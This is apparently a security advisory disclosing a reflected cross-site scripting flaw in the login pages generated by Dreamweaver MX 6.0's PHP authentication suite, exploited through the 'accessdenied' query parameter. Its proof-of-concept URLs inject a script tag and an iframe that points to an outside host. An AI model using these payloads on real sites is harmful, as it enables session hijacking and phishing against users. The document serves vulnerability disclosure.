Product: PHP Authentication Suit for DreamWeaver
Vendor: Macromedia
Versions:
VULNERABLE
- DreamWeaver MX 6.0
- All the PHP Auth systems created with this
- Variables : ALL LIKE accessdenied
NOT VULNERABLE
- ?
---------------------
Description:
The PHP User Authentication Suite consists of four server behaviors for
restricting access to websites for the Dreamweaver MX PHP server model.
The four server behaviors are:
- Log In User
- Restrict Access to Page
- Log Out User
- Check New Username
-----------------------------------------
SECURITY HOLES FOUND and PROOFS OF CONCEPT:
-----------------------------------------
I encountered a XSS ( Cross Site Scripting ) vulnerability in the LOGIN
system that allows you to include script code
in the result page / login form.
---------------------
| XSS IN |
| LOGIN FORMS |
---------------------
The XSS is in the variable of the access denied to url ( url encoded ) :
http://[TARGET]/[PATH]/[LOGIN PAGE].php?[ACCESS DENIED VARIABLE]=%2F
[DIR1]%2F[DIR2]%2F[DIR3]%2F[FORBIDDEN PAGE]
This occurs when you attempt to access to a page of the website that
requires a valid authentication tokens.
The page redirects you to the [LOGIN PAGE] and it includes an special
variable in query , [ACCESS DENIED VARIABLE]= with
the denied page url that was accessed ( from the root directory ,
e.x. /dir1/dir2/dir3/secret.php ) encoded with url strings.
The XSS attack occurs when you write script code in the variable by
closing the form tags:
http://[TARGET]/[PATH]/[LOGIN PAGE].php?[ACCESS DENIED VARIABLE]
="><script>alert('.::\/\|NSRG-18-7|/\/::.');</script>
Examples:
http://www.victim.foo/secrets/login.php?accessdenied=%2Fsecrets%
2Findex.php <- ( /secrets/index.php )
http://www3.bigbank.biz/admin/ccarddb/admin.php?accessdenied=%2Fadmin%
2Fccarddb%2Fexport.database.content.php <-
( /admin/ccarddb/export.database.content.php )
http://www.sco.fm/is/a/big/*h*t.php?notalinuxerror=%2Flinuxsourcecode%
2Fcopytosco.php <- ( /linuxsourcecode/copytosco.php )
- Proof of Concepts: -
Access to a forbidden page , get an url like this:
http://TESTING.FOO/SECRETS/LOGIN1.php?[ACCESS DENIED VARIABLE]=%
2Fsecrets%2Fbankaccounts.php
And modify the variable like this:
http://TESTING.FOO/SECRETS/LOGIN1.php?ACCESSDENIED="><iframe src="ANTI-
TESTING.FOO"></iframe>
